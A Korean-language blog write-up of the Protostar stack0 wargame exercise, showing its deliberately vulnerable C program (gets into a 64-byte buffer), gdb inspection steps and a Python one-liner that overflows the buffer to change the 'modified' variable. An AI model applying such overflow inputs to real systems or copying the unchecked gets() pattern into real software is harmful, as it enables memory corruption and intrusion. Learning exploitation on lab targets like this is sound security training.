HACKING/[SYSTEM HACKING] PROTOSTAR

001. protostar stack0 | anxi0

ANX1Z3R0 2020. 8. 4. 20:33

[ stack0 ]

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

modified 영역을 변조하라는 듯 하다.

stack입장에서 modified가 먼저 선언되어 위에 buffer가 쌓이므로, buffer를 길게 늘어뜨리면 modified 영역을 침범할 수 있게 된다.

buffer를 딱 65개만큼만 넣어보자.

gdb로 프로그램을 깐다.

gdb -q ./stack0
(gdb) set disassembly-flavor intel
(gdb) disas main

저기에서 입력값을 받는다(gets 함수)

bp(브레이크 포인트를 걸고 동작을 함 살펴볼까)

(gdb) b *main+24
(gdb) run

C언어 코드에서 분명 modified에 0으로 초기화하고 시작하기 때문에

눈치껏 esp+0x5c가 modified가 저장된 위치라는 것을 알 수 있다.

함 까볼까

(gdb) x/x $esp+0x5c

음 맞군

이제 한 번 입력 값을 넣어볼까

gdb에서 shell 명령어를 쓰면 쉘에 접근할 수 있다.

(gdb) shell python -c 'print "A"*64 + "BBBB"'

요 녀석을 복사(ctrl+c아니고 ctrl+insert)해서 gets 부분에 붙여넣자(ctrl+v 아니고 shift+insert)

(gdb) ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(gdb) c

ni는 next instruction의 약자로, gets가 실행된 상태로 뛴거다.

변조 성공